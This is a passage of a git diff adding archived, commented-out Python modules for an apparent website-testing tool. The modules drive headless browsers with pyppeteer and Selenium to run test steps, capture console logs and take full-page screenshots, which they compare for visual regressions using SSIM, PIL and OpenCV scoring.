+                
+#                 try:
+#                     print(f'keyDown action for key -> {step["action"]["key"]}')
+#                     # using puppeteer, press the selected key
+#                     await self.page.keyboard.press(step['action']['key'])
+#                     time.sleep(int(self.configs['min_wait_time']))
+#                     image = await self.save_screenshot(page=self.page)
+                
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='action', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'match':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
+#                     # using puppeteer, find elememt and assert if element.text == assertion.text
+#                     selector = await self.format_element(step["assertion"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                     # scrolling to element using plain JavaScript
+#                     await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
+#                     elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
+#                     elementText = elementText.strip()
+#                     print(f'elementText => {elementText}')
+#                     print(f'value => {step["assertion"]["value"]}')
+#                     assert elementText == step["assertion"]["value"]
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             if step['assertion']['type'] == 'exists':
+#                 exception = None
+#                 passed = True
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     start_time=datetime.now()
+#                 )
+
+#                 try:
+#                     print(f'asserting that element -> {step["assertion"]["element"]} exists')
+#                     # using puppeteer, find elememt and assert it exists
+#                     selector = await self.format_element(step["assertion"]["element"])
+#                     await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
+#                     await self.page.J(selector)
+#                     image = await self.save_screenshot(page=self.page)
+
+#                 except Exception as e:
+#                     image = await self.save_screenshot(page=self.page)
+#                     exception = await self.format_exception(e)
+#                     passed = False
+
+#                 await self.update_testcase(
+#                     index=i, type='assertion', 
+#                     end_time=datetime.now(), 
+#                     passed=passed, 
+#                     exception=exception,
+#                     image=image
+#                 )
+
+#             i += 1    
+#         await self.update_testcase(
+#             time_completed=datetime.now()
+#         )
+#         await self.driver.close()
+#         print('-- testcase run complete --')
+
+#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#             print('generating new Issue...')
+#             Issuer(testcase=self.testcase).build_issue()
+
+#         return None
+
+    
+    
+    
+    
+    
+    
\ No newline at end of file
diff --git a/app/api/utils/archive/driver_p.py b/app/api/utils/archive/driver_p.py
new file mode 100644
index 00000000..42b89e6a
--- /dev/null
+++ b/app/api/utils/archive/driver_p.py
@@ -0,0 +1,263 @@
+# from pyppeteer import launch
+# from scanerr import settings
+# import time, os, sys, datetime
+
+
+
+
+
+
+# async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
+#     """ 
+#     Starts a new puppeteer driver instance
+
+#     Expects: {
+#         'window_size' : str, 
+#         'wait_time'   : int
+#     } 
+
+#     Returns -> driver object
+#     """
+
+#     # parsing window sizes
+#     sizes = window_size.split(',')
+
+#     # setting browser options
+#     options = {
+#         'executablePath': os.environ.get('CHROME_BROWSER'),
+#         'args': [
+#             '--no-sandbox', 
+#             '--disable-dev-shm-usage',
+#             '--force-device-scale-factor=0.5',
+#             'ignore-certificate-errors',
+#             '--hide-scrollbars',
+#             f'--window-size={window_size}',
+#         ],
+#         'defaultViewport': {
+#             'width': int(sizes[0]),
+#             'height': int(sizes[1]), 
+#         },
+#         # 'timeout': wait_time * 1000
+#     }
+
+#     # launching driver
+#     driver = await launch(
+#         options=options, 
+#         headless=True,
+#         handleSIGINT=False,
+#         handleSIGTERM=False,
+#         handleSIGHUP=False
+#     )
+    
+#     # return driver
+#     return driver
+
+
+
+
+# async def interact_with_page(page: object=None) -> object:
+#     # simulate mouse movement
+#     # and returns the page object
+#     await page.mouse.move(0, 0)
+#     await page.mouse.move(0, 50)
+#     return page
+
+
+
+
+# async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
+#     """
+#     Expects the puppeteer page instance and waits 
+#     for either the page to fully load or the max_wait_time
+#     to expire before returning.
+
+#     Expects: {
+#         'page'          : object, 
+#         'max_wait_time' : int
+#     }
+
+#     Returns -> page <pypt:instance>
+#     """
+
+#     print(f'waiting for page load or {str(max_wait_time)} seconds')
+
+#     timeout = 0
+#     page_state = 'loading'
+
+#     while int(timeout) < int(max_wait_time) and page_state != 'complete':
+#         page_state = await page.evaluate('document.readyState')
+#         print(f'document state is {page_state}')
+#         time.sleep(1)
+#         timeout += 1
+
+#     return page
+
+
+
+
+# async def driver_test() -> None:
+#     """ 
+#     Spins up a puppeteer driver instance and
+#     tests to ensure it can access the browser and internet
+
+#     Returns -> None
+#     """
+
+#     print("Testing puppeteer instalation and integration...")
+#     message = 'Puppeteer was unable to start\n\n'
+#     status = 'Failed'
+
+#     # testing puppeteer
+#     try:
+#         driver = await driver_init()
+#         page = await driver.newPage()
+#         await page.goto('https://google.com', {'waitUntil': 'networkidle0'})
+#         await interact_with_page(page)
+#         title = await page.title()
+#         assert title == 'Google'
+#         if title == 'Google':
+#             status = 'Success'
+#             message = 'Puppeteer installed and working \N{check mark} \n'
+
+#     # log exception
+#     except Exception as e:
+#         print(e)
+
+#     # logging test results
+#     sys.stdout.write(
+#         '--- ' + status + ' ---\n'+ message
+#     )
+
+#     # quiting driver
+#     try:
+#         await driver.close()
+#     except:
+#         pass
+    
+#     return None
+   
+
+
+
+# async def get_data(url: str=None, configs: dict=None) -> dict:
+#     """ 
+#     Using the puppeteer driver, navigates to the passed 
+#     'url' and records the page source and any 
+#     present console errors & warnings
+
+#     Expects: {
+#         url     : str, 
+#         configs : dict
+#     }
+    
+#     Returns -> data: {
+#         'html' : str, 
+#         'logs' : dict,
+#     }
+#     """
+
+#     # initing the driver
+#     sizes = configs['window_size'].split(',')
+#     driver = await driver_init(window_size=configs['window_size'])
+#     page = await driver.newPage()
+
+#     # setting driver configs
+#     page_options = {
+#         'waitUntil': 'networkidle0', 
+#         # 'timeout': configs['max_wait_time']*1000
+#     }
+#     viewport = {
+#         'width': int(sizes[0]),
+#         'height': int(sizes[1]),
+#     }
+#     userAgent = (
+#         "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#         (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
+#     )
+#     await page.setViewport(viewport)
+#     if configs['device'] == 'mobile':
+#         await page.setUserAgent(userAgent)
+    
+#     # defining logs
+#     logs = []
+
+#     def record_logs(log):
+#         # helper method to record console
+#         # logs in the issues tab
+#         if log.type == 'error':
+#             if '.js' in log.text:
+#                 source = 'javascript'
+#             elif 'http' in log.text:
+#                 source = 'network'
+#             else:
+#                 source = 'other'
+#             log_obj = {
+#                 "level": "SEVERE", 
+#                 "source": source, 
+#                 "message": str(log.text),
+#                 "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#             }
+#             logs.append(log_obj)
+#         elif log.type == 'warning':
+#             if '.js' in log.text:
+#                 source = 'javascript'
+#             elif 'http' in log.text:
+#                 source = 'network'
+#             else:
+#                 source = 'other'
+#             log_obj = {
+#                 "level": "WARNING",
+#                 "source": source,
+#                 "message": str(log.text),
+#                 "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#             }
+#             logs.append(log_obj)
+    
+#     def record_network(request):
+#         # helper method to record console
+#         # network issues in the issues tab
+#         log_obj = {
+#             "level": "SEVERE", 
+#             "source": "network",
+#             "message": f'{request.failure()["errorText"]} {request.url}',
+#             "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#         }
+#         logs.append(log_obj)
+
+#     def record_error(error):
+#         # helper method to record console
+#         # page errors in the issues tab
+#         err = str(error).split(' at ')[0]
+#         log_obj = {
+#             "level": "SEVERE", 
+#             "source": "javascript",
+#             "message": f'{err}',
+#             "timestamp": int(datetime.datetime.now().timestamp() * 1000)
+#         }
+#         logs.append(log_obj)
+
+#     # getting console logs, warnings, and errors
+#     page.on('console', lambda log : record_logs(log))
+#     page.on('requestfailed', lambda request : record_network(request))
+#     page.on('pageerror', lambda error : record_error(error))
+
+#     # navigate to requested url
+#     await page.goto(url, page_options) 
+
+#     # await page.waitForNavigation(navWaitOpt)
+#     await wait_for_page(page=page)
+#     await interact_with_page(page)
+#     html = await page.content()
+    
+#     # quitting driver
+#     await driver.close()
+    
+#     # returning data
+#     data = {
+#         'html': html, 
+#         'logs': logs,
+#     }
+
+#     return data
+
+
diff --git a/app/api/utils/archive/imager.py b/app/api/utils/archive/imager.py
new file mode 100644
index 00000000..393bfff4
--- /dev/null
+++ b/app/api/utils/archive/imager.py
@@ -0,0 +1,797 @@
+# from .driver_s import driver_init, driver_wait, quit_driver
+# from .driver_p import driver_init as driver_init_p, wait_for_page
+# from ..models import Site, Scan, Test, Mask
+# from skimage.metrics import structural_similarity
+# from scanerr import settings
+# from PIL import Image as I, ImageChops, ImageStat
+# from datetime import datetime
+# from asgiref.sync import sync_to_async
+# import time, os, sys, json, uuid, boto3, \
+#     statistics, shutil, numpy, cv2
+
+
+
+
+
+
+# class Imager():
+#     """
+#     High level Image handler used to compare screenshots of
+#     a website.
+
+#     Also known as VRT or Visual Regression Testing.
+#     Contains three methods scan_s(), scan_p(), test(). 
+#     The _p appendage denotes using Puppeteer as the webdriver
+#     and the _s appendage denotes using Selenium as the webdriver:
+
+#         def scan_s(driver=None) -> using selenium
+#             grabs multiple screenshots of the website 
+#             and uploads them to s3.
+
+#         def scan_p() -> using puppeteer
+#             grabs multiple screenshots of the website 
+#             and uploads them to s3.
+
+#         def test(test=<test:object>) -> compares each 
+#             screenshot in the two scans and records 
+#             a score out of 100%
+
+#     """
+
+
+
+
+#     def __init__(self, scan: object=None, configs: dict=None):
+
+#         # main scan object
+#         self.scan = scan
+
+#         # main configs object
+#         self.configs = configs
+        
+#         # main image_array for scans
+#         self.image_array = []
+        
+#         # setup boto3 configurations
+#         self.s3 = boto3.client(
+#             's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+#             aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+#             region_name=str(settings.AWS_S3_REGION_NAME), 
+#             endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+#         )
+
+#         # scripts
+#         self.pause_video_script = (
+#             """
+#             document.querySelectorAll('video').forEach(vid => vid.pause());
+#             document.querySelectorAll('video').forEach(vid => vid.currentTime=0);
+#             """ 
+#         )
+#         self.set_jquery = (
+#             """
+#             var jq = document.createElement('script');
+#             jq.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js";
+#             document.getElementsByTagName('head')[0].appendChild(jq);
+#             """
+#         )
+#         self.pause_animations_script = (
+#             """
+#             const styleElement = document.createElement('style');styleElement.setAttribute('id','style-tag');
+#             const styleTagCSSes = document.createTextNode('*,:after,:before{-webkit-transition:none!important;-moz-transition:none!important;-ms-transition:none!important;-o-transition:none!important;transition:none!important;-webkit-transform:none!important;-moz-transform:none!important;-ms-transform:none!important;-o-transform:none!important;-webkit-animation:none!important;animation:none!important;transform:none!important;transition-delay:0s!important;transition-duration:0s!important;animation-delay:-0.0001s!important;animation-duration:0s!important;animation-play-state:paused!important;caret-color:transparent!important;color-adjust:exact!important;}');
+#             styleElement.appendChild(styleTagCSSes);
+#             document.head.appendChild(styleElement);
+#             """
+#         )
+
+
+
+
+#     def check_timeout(self, timeout: int, start_time: str) -> bool:
+#         """
+#         Checks to see if the current time exceedes the alotted timeout. 
+        
+#         Returns -> True if timeout exceeded
+#         """
+#         current = datetime.now()
+#         diff = current - start_time
+#         if diff.total_seconds() >= int(timeout):
+#             print('exceeded timeout')
+#             return True
+#         else:
+#             return False
+
+
+
+
+#     def add_images(self, im1: object, im2: object) -> object:
+#         """
+#         Joins img1 and im2 vertically and saves as "new_img"
+        
+#         Returns -> new_img <Image>
+#         """
+#         im1 = I.open(im1)
+#         im2 = I.open(im2)
+#         new_img = I.new('RGB', (im1.width, im1.height + im2.height))
+#         new_img.paste(im1, (0, 0))
+#         new_img.paste(im2, (0, im1.height))
+#         return new_img
+        
+
+
+    
+#     def save_image(self, pic_id: str, image: object) -> None:
+#         """
+#         Upload image to s3, save info as image_obj,
+#         add image_obj to image_array, & remove image file
+
+#         Returns -> None
+#         """
+#         remote_path = f'static/sites/{self.scan.site.id}/{self.scan.page.id}/{self.scan.id}/{pic_id}.png'
+#         root_path = settings.AWS_S3_URL_PATH
+#         image_url = f'{root_path}/{remote_path}'
+    
+#         # upload to s3
+#         with open(image, 'rb') as data:
+#             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#             )
+    
+#         # create image obj and add to list
+#         img_obj = {
+#             "index": 0,
+#             "id": str(pic_id),
+#             "url": image_url,
+#             "path": remote_path,
+#         }
+#         self.image_array.append(img_obj)
+
+#         print(f'adding {img_obj["url"]} to image_array')
+        
+#         # remove local copy
+#         os.remove(image)
+
+#         return None
+
+
+
+
+#     def scan_s(self, driver: object=None) -> list:
+#         """
+#         Grabs full length screenshots of the website and uploads 
+#         them to s3.
+
+#         Expects: {
+#             'driver': object
+#         }
+
+#         Returns -> self.image_array list
+#         """
+
+#         # initialize driver if not passed as param
+#         driver_present = True
+#         if not driver:
+#             driver = driver_init()
+#             driver_present = False
+
+#         # request page_url 
+#         driver.get(self.scan.page.page_url)
+
+#         # waiting for network requests to resolve
+#         driver_wait(
+#             driver=driver, 
+#             interval=int(self.configs.get('interval', 5)),  
+#             min_wait_time=int(self.configs.get('min_wait_time', 10)),
+#             max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#         )
+
+#         # defining browser demesions
+#         sizes = self.configs.get('window_size', '1920,1080').split(',')
+
+#         # getting full_page_height
+#         if self.configs.get('auto_height', True):
+#             full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
+#             sizes = self.configs.get('window_size', '1920,1080').split(',')
+#             driver.set_window_size(int(sizes[0]), int(full_page_height))
+
+
+#         if self.configs.get('disable_animations') == True:
+#             # inserting animation pausing script
+#             try:
+#                 driver.execute_script(self.pause_animations_script)
+#             except:
+#                 print('cannot pause animations')
+                
+#             # inserting video pausing scripts
+#             try:
+#                 driver.execute_script(self.pause_video_script)
+#             except:
+#                 print('cannnot pause videos')
+
+#         # mask all listed ids        
+#         if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+#             ids = self.configs.get('mask_ids').split(',')
+#             for id in ids:
+#                 try:
+#                     driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via id provided')
+
+#         # mask all Global mask ids that are active
+#         active_masks = Mask.objects.filter(active=True)
+#         if len(active_masks) != 0:
+#             for mask in active_masks:
+#                 try:
+#                     driver.execute_script(f"document.getElementById('{mask.mask_id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via global mask id provided')
+
+#         # scroll one frame at a time and capture screenshot
+#         final_img = None
+#         index = 0
+#         last_height = -1
+#         bottom = False
+#         start_time = datetime.now()
+#         while not bottom:
+
+#             # checking if maxed out time
+#             if self.check_timeout(self.configs.get('timeout', 300), start_time):
+#                 break
+
+#             # scroll single frame
+#             if index != 0:
+#                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+
+#             # get current position and compare to previous
+#             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
+#             height_diff = new_height - last_height
+
+#             print(f'new_height => {new_height} | height_diff => {height_diff}')
+
+#             if height_diff > 20:
+#                 last_height = new_height
+#                 pic_id = uuid.uuid4()
+                
+#                 # waiting for network requests to resolve
+#                 driver_wait(
+#                     driver=driver, 
+#                     interval=int(self.configs.get('interval', 5)),  
+#                     min_wait_time=int(self.configs.get('min_wait_time', 10)),
+#                     max_wait_time=int(self.configs.get('max_wait_time', 30)),
+#                 )
+
+#                 # get screenshot
+#                 driver.save_screenshot(f'{pic_id}.png')
+#                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+
+#                 # resizing image to remove duplicate portions
+#                 img = I.open(image)
+#                 width, height = img.size
+#                 left = 0
+#                 top = height - (height_diff/2)
+#                 right = width
+#                 _bottom = height
+#                 new_img = img.crop((left, top, right, _bottom))
+#                 new_img.save(image, quality=100)
+                            
+#                 # adding new image to bottom of existing image (if not index = 0)
+#                 pic_id_2 = uuid.uuid4()
+#                 if index != 0 and final_img is not None:
+#                     self.add_images(final_img, image).save(f'{pic_id_2}.png')
+#                     os.remove(final_img)
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+#                 else:
+#                     I.open(image).save(f'{pic_id_2}.png')
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+#                 os.remove(image)
+#                 index += 1 
+            
+#             else:
+#                 bottom = True
+
+#         # saving image
+#         self.save_image(pic_id=pic_id_2, image=final_img)
+
+#         # clean up
+#         if not driver_present:
+#             quit_driver(driver)
+
+#         # return images
+#         return self.image_array
+
+
+
+
+#     async def scan_p(self) -> list:
+#         """
+#         Using Puppeteer, grabs full length screenshots of the website and uploads 
+#         them to s3.
+
+#         Returns -> self.image_array list
+#         """
+
+#         @sync_to_async
+#         def get_page():
+#             _page = self.scan.page
+#             return _page
+        
+#         # getting Scanerr `page` object
+#         _page = await get_page()
+
+#         # starting up puppeteer driver
+#         driver = await driver_init_p(
+#             window_size=self.configs.get('window_size', '1920,1080'), 
+#             wait_time=int(self.configs.get('max_wait_time', 30))
+#         )
+
+#         # initing new puppeteer page
+#         page = await driver.newPage()
+
+#         # setting configs for driver
+#         sizes = self.configs.get('window_size', '1920,1080').split(',')
+#         is_mobile = False
+#         if self.configs.get('device') == 'mobile':
+#             is_mobile = True
+
+#         page_options = {
+#             'waitUntil': 'networkidle0', 
+#             # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
+#         }
+
+#         # requesting page_url to get height of 
+#         await page.goto(_page.page_url, page_options)
+
+#         # waiting for page to load
+#         await wait_for_page(page=page)
+
+#         # getting full page_height
+#         page_height = int(sizes[1])
+#         if self.configs.get('auto_height', True):
+#             page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
+
+#         # setting more driver configs
+#         viewport = {
+#             'width': int(sizes[0]),
+#             'height': int(page_height),
+#             'isMobile': is_mobile,
+#         }
+#         userAgent = (
+#             "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
+#             (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
+#         )
+#         emulate_options = {
+#             'viewport': viewport,
+#             'userAgent': userAgent
+#         }
+
+#         # setting device type
+#         if self.configs.get('device') == 'mobile':
+#             await page.emulate(emulate_options)
+#         else:
+#             await page.setViewport(viewport)
+
+#         # requesting page_url
+#         await page.goto(_page.page_url, page_options)
+
+#         # handling anamations
+#         if self.configs.get('disable_animations') == True:
+#             try:
+#                 # inserting animation pausing script
+#                 await page.evaluate(self.pause_animations_script)
+#             except:
+#                 print('cannot pause animations')
+#             try:
+#                 # pausing videos
+#                 videos = await page.querySelectorAll('video')
+#                 for vid in videos:
+#                     await page.evaluate('(vid) => vid.pause()', vid)
+#             except Exception as e:
+#                 print(e)
+
+#         # mask all listed ids
+#         if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
+#             ids = self.configs.get('mask_ids').split(',')
+#             for id in ids:
+#                 try:
+#                     await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
+#                     print('masked an element')
+#                 except:
+#                     print('cannot find element via id provided')
+
+
+#         # mask all Global mask ids that are active
+#         @sync_to_async
+#         def get_active_global_masks():
+#             masks = Mask.objects.filter(active=True)
+#             active_masks = []
+#             if len(masks) > 0:
+#                 for mask in masks:
+#                     active_masks.append(mask.id)
+#             return active_masks
+
+#         active_masks = await get_active_global_masks()
+
+#         for mask in active_masks:
+#             try:
+#                 await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
+#                 print('masked an element')
+#             except:
+#                 print('cannot find element via global mask id provided')
+    
+#         @sync_to_async
+#         def save_image(*args, **kwargs):
+#             self.save_image(pic_id=pic_id, image=final_img)
+
+#         # scroll one frame at a time and capture screenshot
+#         final_img = None
+#         index = 0
+#         last_height = -1
+#         bottom = False
+#         start_time = datetime.now()
+#         while not bottom:
+
+#             # checking if maxed out time
+#             if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
+#                 break
+
+#             # scroll single frame
+#             if index != 0:
+#                 await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+
+#             # get current position and compare to previous
+#             new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
+#             height_diff = new_height - last_height
+#             if height_diff > 20:
+#                 last_height = new_height
+#                 pic_id = uuid.uuid4()
+
+#                 # interact with and wait for page to load
+#                 await page.mouse.move(0, 0)
+#                 await page.mouse.move(0, 100)
+#                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+#                 await wait_for_page(page=page)
+            
+#                 # get screenshot
+#                 await page.screenshot({'path': f'{pic_id}.png'})
+#                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+                
+#                 # resizing image to remove duplicate portions
+#                 img = I.open(image)
+#                 width, height = img.size
+#                 left = 0
+#                 top = height - (height_diff)
+#                 right = width
+#                 _bottom = height
+#                 new_img = img.crop((left, top, right, _bottom))
+#                 new_img.save(image, quality=100)
+                
+#                 # adding new image to bottom of existing image (if not index = 0)
+#                 pic_id_2 = uuid.uuid4()
+#                 if index != 0 and final_img is not None:
+#                     self.add_images(final_img, image).save(f'{pic_id_2}.png')
+#                     os.remove(final_img)
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+#                 else:
+#                     I.open(image).save(f'{pic_id_2}.png')
+#                     final_img = os.path.join(settings.BASE_DIR, f'{pic_id_2}.png')
+                
+#                 os.remove(image)
+#                 index += 1 
+            
+#             else:
+#                 bottom = True
+        
+#         # saving image
+#         await save_image(pic_id=pic_id, image=final_img)
+
+#         # cleaning up
+#         await driver.close()
+
+#         # returning images
+#         return self.image_array
+
+
+
+
+#     def test(self, test: object, index: int=None) -> dict:
+#         """
+#         Compares each screenshot between the two scans and records 
+#         a score out of 100%.
+
+#         Compairsons used : 
+#             - Structral Similarity Index (ssim)
+#             - PIL ImageChop Differences, Ratio
+#             - cv2 ORB Brute-force Matcher, Ratio
+
+#         Expects: {
+#             'test': object, 
+#             'index': int,
+#         }
+
+#         Returns -> data: {
+#             'average_score' : float(0-100),
+#             'images'        : dict,
+#         }
+#         """
+
+#         # setup temp dirs
+#         if not os.path.exists(os.path.join(settings.BASE_DIR, f'temp/{test.id}')):
+#             os.makedirs(os.path.join(settings.BASE_DIR, f'temp/{test.id}'))
+        
+#         # temp root
+#         temp_root = os.path.join(settings.BASE_DIR, f'temp/{test.id}')
+        
+#         # loop through and download each img in scan and compare it.
+#         pre_scan_images = test.pre_scan.images
+#         img_test_results = []
+#         scores = []
+#         i = 0
+
+#         if index is not None:
+#             pre_scan_images = [test.pre_scan.images[index]]
+#             i = index
+
+#         # catching user error when scan_type 
+#         # did not include 'vrt'
+#         if pre_scan_images is None:
+#             images_delta = {
+#                 "average_score": None,
+#                 "images": None,
+#             }
+#             return images_delta
+
+
+#         for pre_img_obj in pre_scan_images:
+            
+#             # getting pre_scan image
+#             pre_img_path = os.path.join(temp_root, f'{pre_img_obj["id"]}.png')
+#             with open(pre_img_path, 'wb') as data:
+#                 self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), pre_img_obj["path"], data)
+            
+#             # getting post_scan image
+#             try:
+#                 post_img_obj = test.post_scan.images[i]
+#             except:
+#                 post_img_obj = None
+            
+#             if post_img_obj is not None:
+#                 post_img_path = os.path.join(temp_root, f'{post_img_obj["id"]}.png')
+#                 with open(post_img_path, 'wb') as data:
+#                     self.s3.download_fileobj(str(settings.AWS_STORAGE_BUCKET_NAME), post_img_obj["path"], data)
+                
+#                 # open images with PIL Image library
+#                 post_img = I.open(post_img_path)
+#                 pre_img = I.open(pre_img_path)
+                
+#                 # check and reformat image sizes if necessary
+#                 pre_img_w, pre_img_h = pre_img.size
+#                 post_img_w, post_img_h = post_img.size
+
+#                 # pre_img is longer
+#                 if pre_img_h > post_img_h:
+#                     print(f'pre_img is larger, adjusting...')
+#                     new_pre_img = pre_img.crop((0, 0, pre_img_w, post_img_h)).convert(mode=post_img.mode)
+#                     new_pre_img.save(pre_img_path, quality=100)
+#                     pre_img = I.open(pre_img_path)
+#                 # post_img is longer
+#                 if post_img_h > pre_img_h:
+#                     print(f'post_img is larger, adjusting...')
+#                     new_post_img = post_img.crop((0, 0, post_img_w, pre_img_h)).convert(mode=pre_img.mode)
+#                     new_post_img.save(post_img_path, quality=100)
+#                     post_img = I.open(post_img_path)
+
+
+#                 # build two new images with differences highlighted
+#                 def highlight_diffs(pre_img_path, post_img_path, index):
+#                     '''
+#                     Returns -> two new images with highlights & float(ssim_score)
+#                     '''
+#                     # Load the images
+#                     image1 = cv2.imread(pre_img_path)
+#                     image2 = cv2.imread(post_img_path)
+
+#                     # Convert the images to grayscale
+#                     gray1 = cv2.cvtColor(image1, cv2.COLOR_BGR2GRAY)
+#                     gray2 = cv2.cvtColor(image2, cv2.COLOR_BGR2GRAY)
+
+#                     # Compute the SSIM map
+#                     (ssim_score, diff) = structural_similarity(gray1, gray2, full=True)
+
+#                     # Highlight the differences
+#                     diff = (diff * 255).astype("uint8")
+
+#                     # Threshold the difference map
+#                     _, thresh = cv2.threshold(diff, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)
+
+#                     # Find contours of the differences
+#                     contours, _ = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
+
+#                     # Draw rectangles around the differences
+#                     for contour in contours:
+#                         (x, y, w, h) = cv2.boundingRect(contour)
+#                         cv2.rectangle(image1, (x, y), (x+w, y+h), (0, 255, 0), 2)
+#                         cv2.rectangle(image2, (x, y), (x+w, y+h), (0, 255, 0), 2)
+
+#                     # Save the output images
+#                     img_1_id = uuid.uuid4()
+#                     img_2_id = uuid.uuid4()
+#                     cv2.imwrite(temp_root + f"/{img_1_id}.png", image1)
+#                     cv2.imwrite(temp_root + f"/{img_2_id}.png", image2)                    
+#                     img_objs = save_images(img_1_id, img_2_id, index)
+                    
+#                     data = {
+#                         "img_objs": img_objs,
+#                         "ssim_score": ssim_score
+#                     }
+
+#                     return data
+
+
+#                 # saving old images to new test.id path
+#                 def save_images(pre_img_id, post_img_id, index):
+#                     image_ids = [pre_img_id, post_img_id]
+#                     img_objs = []
+#                     for img_id in image_ids:
+#                         image = os.path.join(temp_root, f'{img_id}.png')
+#                         remote_path = f'static/sites/{test.page.site.id}/{test.page.id}/{test.id}/{img_id}.png'
+#                         root_path = settings.AWS_S3_URL_PATH
+#                         image_url = f'{root_path}/{remote_path}'
+                    
+#                         # upload to s3
+#                         with open(image, 'rb') as data:
+#                             self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+#                                 remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+#                             )
+                        
+#                         # building img obj
+#                         obj = {
+#                             "id": str(img_id),
+#                             "url": image_url,
+#                             "path": remote_path,
+#                             "index": index,
+#                         }
+#                         img_objs.append(obj)
+                        
+#                     return img_objs
+
+
+#                 # test images with PIL
+#                 def pil_score(pre_img, post_img):
+#                     try:
+#                         if (pre_img.mode != post_img.mode) \
+#                                 or (pre_img.size != post_img.size) \
+#                                 or (pre_img.getbands() != post_img.getbands()):
+#                             raise Exception('images are not comparable')
+
+#                         # Generate diff image in memory.
+#                         diff_img = ImageChops.difference(pre_img, post_img)
+
+#                         # Calculate difference as a ratio.
+#                         stat = ImageStat.Stat(diff_img)
+#                         diff_ratio = (sum(stat.mean) / (len(stat.mean) * 255)) * 100
+#                         pil_img_score = (100 - diff_ratio)
+#                         # print(f'PIL score -> {pil_img_score}')
+#                         return pil_img_score
+                    
+#                     except Exception as e:
+#                         print(e)
+
+
+#                 # test with cv2
+#                 def cv2_score(pre_img, post_img):
+#                     try:
+#                         orb = cv2.ORB_create()
+
+#                         # convert to array
+#                         pre_img_array = numpy.array(pre_img)
+#                         post_img_array = numpy.array(post_img)
+
+#                         # detect keypoints and descriptors
+#                         kp_a, desc_a = orb.detectAndCompute(pre_img_array, None)
+#                         kp_b, desc_b = orb.detectAndCompute(post_img_array, None)
+
+#                         # define the bruteforce matcher object
+#                         bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True)
+                            
+#                         # perform matches. 
+#                         matches = bf.match(desc_a, desc_b)
+
+#                         # Look for similar regions with distance < 20. (from 0 to 100)
+#                         similar_regions = [i for i in matches if i.distance < 20]  
+#                         if len(matches) == 0:
+#                             cv2_img_score = 100
+#                         else:
+#                             cv2_img_score = (len(similar_regions) / len(matches)) * 100
+#                             # print(f'cv2 -> {cv2_img_score}')
+                            
+#                         return cv2_img_score
+
+#                     except Exception as e:
